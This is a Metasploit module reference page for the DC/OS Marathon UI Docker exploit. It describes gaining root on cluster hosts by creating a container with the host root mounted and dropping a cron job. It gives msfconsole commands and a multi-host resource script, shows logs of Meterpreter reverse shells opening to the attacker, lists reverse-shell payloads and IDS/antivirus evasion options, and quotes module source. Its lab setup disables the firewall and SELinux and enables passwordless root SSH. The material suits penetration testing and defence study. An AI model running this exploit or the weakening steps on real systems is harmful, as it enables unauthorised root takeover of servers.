DC/OS Marathon UI Docker Exploit - Metasploit
This page contains detailed information about how to use the exploit/linux/http/dcos_marathon metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: DC/OS Marathon UI Docker Exploit
Module: exploit/linux/http/dcos_marathon
Source code: modules/exploits/linux/http/dcos_marathon.rb
Disclosure date: 2017-03-03
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -
Utilizing the DCOS Cluster's Marathon UI, an attacker can create a docker container with the '/' path mounted with read/write permissions on the host server that is running the docker container. As the docker container executes command as uid 0 it is honored by the host operating system allowing the attacker to edit/create files owed by root. This exploit abuses this to creates a cron job in the '/etc/cron.d/' path of the host server. *Notes: The docker image must be a valid docker image from hub.docker.com. Furthermore the docker container will only deploy if there are resources available in the DC/OS cluster.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using dcos_marathon against a single host
Normally, you can use exploit/linux/http/dcos_marathon this way:
msf > use exploit/linux/http/dcos_marathon
msf exploit(dcos_marathon) > show targets
... a list of targets ...
msf exploit(dcos_marathon) > set TARGET target-id
msf exploit(dcos_marathon) > show options
... show and set options ...
msf exploit(dcos_marathon) > exploit
Using dcos_marathon against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your dcos_marathon will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/linux/http/dcos_marathon")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
Utilizing the DCOS Cluster's Marathon UI, an attacker can create a docker container with the '/' path mounted with read/write permissions on the host server that is running the docker container. As the docker container executes command as uid 0 it is honored by the host operating system allowing the attacker to edit/create files owed by root. This exploit abuses this to creates a cron job in the '/etc/cron.d/' path of the host server.
*Notes: The docker image must be a valid docker image from hub.docker.com. Further more the docker container will only deploy if there are resources available in the DC/OS
DCOS
This Exploit was tested with CentOS 7 as the host operating system for the 2 services of the DCOS cluster. With DCOS version 1.7 and 1.8, with Default 'custom' installation for on site premise setup. Only the Install part of the DCOS guide was completed, the system hardening and securing your cluster section where skipped. This is to represent a 'Default' install with a system admin conducting hasty deployments taking no thought about security.
To Setup Your Cluster
I recommend doing a 'on-premise'/custom cluster. https://dcos.io/docs/1.8/administration/installing/custom/ Create a virtual CentOS machine, install requirements base on the above guide.
# The TLDR from the above guide
sudo systemctl stop firewalld && sudo systemctl disable firewalld
sudo yum install -y tar xz unzip curl ipset ntp
sudo systemctl start ntpd
sudo systemctl enable ntpd
sudo sed -i s/SELINUX=enforcing/SELINUX=permissive/g /etc/selinux/config && \
sudo groupadd nogroup && sudo reboot
Install a supported version of docker on the CentOS systems https://dcos.io/docs/1.8/administration/installing/custom/system-requirements/install-docker-centos/
# The TLDR of the above guide
sudo yum -y remove docker docker-common container-selinux
sudo yum -y remove docker-selinux
sudo yum install -y yum-utils
sudo yum-config-manager \
--add-repo \
https://docs.docker.com/engine/installation/linux/repo_files/centos/docker.repo
sudo yum-config-manager --enable docker-testing
sudo yum makecache fast
sudo yum -y install docker-engine-1.11.2
sudo systemctl start docker
sudo systemctl enable docker
sudo echo overlay > /etc/modules-load.d/overlay.conf
sudo reboot
Once the CentOS machine has rebooted, edit the systemctl
service file for docker and change the ExecStart- line to
ExecStart=/usr/bin/docker daemon --storage-driver=overlay -H fd://
restart the docker service and verify it is running.
lastly generate ssh rsa keys for authentication. And update the
/etc/ssh/sshd_config file to support root login.
ssh-keygen -t rsa -b 4096
# Press enter until complete, DO NOT PUT A PASSWORD.
cp ~/.ssh/id_rsa.pub ~/.ssh/authorized_keys
cat ~/.ssh/id_rsa # save the output you will need it for later
rm ~/.ssh/id_rsa # before doing this make sure you have saved a copy for later
Shut down the CentOS vm, take a snapshot. (This will be your base) clone the VM 2 times. One will be DCOS-Master, the Other DCOS-Agent. Start the DCOS-Master and DCOS-Agent virtual machines You just cloned. Login and get their current IP address. * Note: I recommend giving them static IPs if you have further use for the cluster.
From here use another Linux machine with docker installed to finish the installation process. I used an Ubuntu machine with docker installed.
Follow the custom CLI guide for creating the required files in the genconf folder. https://dcos.io/docs/1.8/administration/installing/custom/cli/
Example genconf/config.yaml
agent_list:
- 192.168.0.10
bootstrap_url: file:///opt/dcos_install_tmp
cluster_name: DCOS
exhibitor_storage_backend: static
ip_detect_filename: /genconf/ip-detect
master_discovery: static
master_list:
- 192.168.0.9
process_timeout: 10000
resolvers:
- 8.8.8.8
- 8.8.4.4
ssh_port: 22
ssh_user: root
Example genconf/ip-detect
bash
!/usr/bin/env bash
set -o nounset -o errexit
export PATH=/usr/sbin:/usr/bin:$PATH
ip=$(ip addr show ens33)
echo $( echo $ip | grep -Eo '[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}' | head -1)
place your id_rsa ssh key into the genconf file and rename the
file to ssh_key and chmod 0600 genconf/ssh_key
Deploying the cluster in the folder containing the genconf folder do the following. NOTE: if following the cli install from DCOS itself, it will fail if you do --install-prereqs. It will install an unsupported version of docker.
curl -O https://downloads.dcos.io/dcos/stable/dcos_generate_config.sh
chmod +x dcos_generate_config.sh
sudo ./dcos_generate_config.sh --genconf
sudo ./dcos_generate_config.sh --preflight
# If all preflight checks pass
sudo ./dcos_generate_config.sh --deploy
# get a cup of coffie
# wait a minute or two after deploy completes
sudo bash dcos_generate_config.sh --postflight
If all is passing navigate to http://[master_ip]:8080/ You should see the Marathon UI web application.
Exploitation
This module is designed for the attacker to leverage, creation of a docker container with out authentication through the DCOS Marathon UI to gain root access to the hosting server of the docker container in the DCOS cluster.
Options
- DOCKERIMAGE is the hub.docker.com docker container image you are wanting to have the DCOS Cluster to deploy for this exploit.
- TARGETURI this is the path to make the Marathon UI web request to. By default this is /v2/apps
- WAIT_TIMEOUT is how long you will wait for a docker container to deploy before bailing out if it does not start.
- CONTAINER_ID is optional if you want to have your container docker have a human readable name else it will be randomly generated
Steps to exploit with module
- [ ] Start msfconsole
- [ ] use exploit/linux/http/dcos_marathon
- [ ] Set the options appropriately and set VERBOSE to true
- [ ] Verify it creates a docker container and it successfully runs
- [ ] After a minute a session should be opened from the agent server
Scenarios
msf > use exploit/linux/http/dcos_marathon
msf exploit(dcos_marathon) > set RHOST 192.168.0.9
RHOST => 192.168.0.9
msf exploit(dcos_marathon) > set payload python/meterpreter/reverse_tcp
payload => python/meterpreter/reverse_tcp
msf exploit(dcos_marathon) > set LHOST 192.168.0.100
LHOST => 192.168.0.100
msf exploit(dcos_marathon) > set verbose true
verbose => true
msf exploit(dcos_marathon) > check
[*] 192.168.0.9:8080 The target appears to be vulnerable.
msf exploit(dcos_marathon) > exploit
[*] Started reverse TCP handler on 192.168.0.100:4444
[*] Setting container json request variables
[*] Creating the docker container command
[*] The docker container is created, waiting for it to deploy
[*] Waiting up to 60 seconds for docker container to start
[*] The docker container is running, removing it
[*] Waiting for the cron job to run, can take up to 60 seconds
[*] Sending stage (39690 bytes) to 192.168.0.10
[*] Meterpreter session 1 opened (192.168.0.100:4444 -> 192.168.0.10:54468) at 2017-03-01 14:22:02 -0500
[+] Deleted /etc/cron.d/FOWkTeZL
[+] Deleted /tmp/TIWpOfUR
meterpreter > sysinfo
Computer : localhost.localdomain
OS : Linux 3.10.0-327.36.3.el7.x86_64 #1 SMP Mon Oct 24 16:09:20 UTC 2016
Architecture : x64
System Language : en_US
Meterpreter : python/linux
meterpreter >
Go back to menu.
Msfconsole Usage
Here is how the linux/http/dcos_marathon exploit module looks in the msfconsole:
msf6 > use exploit/linux/http/dcos_marathon
[*] No payload configured, defaulting to python/meterpreter/reverse_tcp
msf6 exploit(linux/http/dcos_marathon) > show info
Name: DC/OS Marathon UI Docker Exploit
Module: exploit/linux/http/dcos_marathon
Platform:
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2017-03-03
Provided by:
Erik Daguerre
Available targets:
Id Name
-- ----
0 Python
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
CONTAINER_ID no container id you would like
DOCKERIMAGE python:3-slim yes hub.docker.com image to use
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /v2/apps yes Post path to start docker
VHOST no HTTP server virtual host
WAIT_TIMEOUT 60 yes Time in seconds to wait for the docker container to deploy
Payload information:
Description:
Utilizing the DCOS Cluster's Marathon UI, an attacker can create a
docker container with the '/' path mounted with read/write
permissions on the host server that is running the docker container.
As the docker container executes command as uid 0 it is honored by
the host operating system allowing the attacker to edit/create files
owed by root. This exploit abuses this to creates a cron job in the
'/etc/cron.d/' path of the host server. *Notes: The docker image
must be a valid docker image from hub.docker.com. Furthermore the
docker container will only deploy if there are resources available
in the DC/OS cluster.
References:
https://warroom.securestate.com/dcos-marathon-compromise/
Module Options
This is a complete list of options available in the linux/http/dcos_marathon exploit:
msf6 exploit(linux/http/dcos_marathon) > show options
Module options (exploit/linux/http/dcos_marathon):
Name Current Setting Required Description
---- --------------- -------- -----------
CONTAINER_ID no container id you would like
DOCKERIMAGE python:3-slim yes hub.docker.com image to use
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /v2/apps yes Post path to start docker
VHOST no HTTP server virtual host
WAIT_TIMEOUT 60 yes Time in seconds to wait for the docker container to deploy
Payload options (python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Python
Advanced Options
Here is a complete list of advanced options supported by the linux/http/dcos_marathon exploit:
msf6 exploit(linux/http/dcos_marathon) > show advanced
Module advanced options (exploit/linux/http/dcos_marathon):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 75 no Additional delay in seconds to wait for a session
Payload advanced options (python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
HttpCookie no An optional value to use for the Cookie HTTP header
HttpHostHeader no An optional value to use for the Host HTTP header
HttpReferer no An optional value to use for the Referer HTTP header
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterTryToFork true no Fork a new process if the functionality is available
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PythonMeterpreterDebug false no Enable debugging for the Python meterpreter
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/http/dcos_marathon module can exploit:
msf6 exploit(linux/http/dcos_marathon) > show targets
Exploit targets:
Id Name
-- ----
0 Python
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/dcos_marathon exploit:
msf6 exploit(linux/http/dcos_marathon) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
2 payload/multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
3 payload/multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
4 payload/python/meterpreter/reverse_http normal No Python Meterpreter, Python Reverse HTTP Stager
5 payload/python/meterpreter/reverse_https normal No Python Meterpreter, Python Reverse HTTPS Stager
6 payload/python/meterpreter/reverse_tcp normal No Python Meterpreter, Python Reverse TCP Stager
7 payload/python/meterpreter/reverse_tcp_ssl normal No Python Meterpreter, Python Reverse TCP SSL Stager
8 payload/python/meterpreter/reverse_tcp_uuid normal No Python Meterpreter, Python Reverse TCP Stager with UUID Support
9 payload/python/meterpreter_reverse_http normal No Python Meterpreter Shell, Reverse HTTP Inline
10 payload/python/meterpreter_reverse_https normal No Python Meterpreter Shell, Reverse HTTPS Inline
11 payload/python/meterpreter_reverse_tcp normal No Python Meterpreter Shell, Reverse TCP Inline
12 payload/python/shell_reverse_tcp normal No Command Shell, Reverse TCP (via python)
13 payload/python/shell_reverse_tcp_ssl normal No Command Shell, Reverse TCP SSL (via python)
14 payload/python/shell_reverse_udp normal No Command Shell, Reverse UDP (via python)
Evasion Options
Here is the full list of possible evasion options supported by the linux/http/dcos_marathon exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/http/dcos_marathon) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Failed to connect to the targeturi
Here is a relevant code snippet related to the "Failed to connect to the targeturi" error message:
140: Exploit::CheckCode::Appears
141: end
142:
143: def exploit
144: if get_apps.nil?
145: fail_with(Failure::Unknown, 'Failed to connect to the targeturi')
146: end
147: # create required information to create json container information.
148: cron_path = '/etc/cron.d/' + rand_text_alpha(8)
149: payload_path = '/tmp/' + rand_text_alpha(8)
150: mnt_path = '/mnt/' + rand_text_alpha(8)
Failed to create the docker container
Here is a relevant code snippet related to the "Failed to create the docker container" error message:
153: res = send_request_raw({
154: 'method' => 'POST',
155: 'uri' => target_uri.path,
156: 'data' => make_container(mnt_path, cron_path, payload_path, container_id).to_json
157: })
158: fail_with(Failure::Unknown, 'Failed to create the docker container') unless res and res.code == 201
159:
160: print_status('The docker container is created, waiting for it to deploy')
161: register_files_for_cleanup(cron_path, payload_path)
162: sleep_time = 5
163: wait_time = datastore['WAIT_TIMEOUT']
No apps returned
Here is a relevant code snippet related to the "No apps returned" error message:
166:
167: while wait_time > 0
168: sleep(sleep_time)
169: wait_time -= sleep_time
170: apps_status = get_apps
171: fail_with(Failure::Unknown, 'No apps returned') unless apps_status
172:
173: apps_status['apps'].each do |app|
174: next if app['id'] != "/#{container_id}"
175:
176: if app['tasksRunning'] == 1
The docker container is not yet running
Here is a relevant code snippet related to the "The docker container is not yet running" error message:
177: print_status('The docker container is running, removing it')
178: del_container(container_id)
179: deleted_container = true
180: wait_time = 0
181: else
182: vprint_status('The docker container is not yet running')
183: end
184: break
185: end
186: end
187:
The docker container failed to start
Here is a relevant code snippet related to the "The docker container failed to start" error message:
185: end
186: end
187:
188: # If the docker container does not deploy remove it and fail out.
189: unless deleted_container
190: del_container(container_id)
191: fail_with(Failure::Unknown, "The docker container failed to start")
192: end
193: print_status('Waiting for the cron job to run, can take up to 60 seconds')
194: end
195: end
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #14212 Merged Pull Request: Fix invalid disclosure date formats
- #8888 Merged Pull Request: spelling/grammar fixes part 1
- #8053 Merged Pull Request: DC/OS Marathon UI Exploit
References
Authors
Erik Daguerre
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.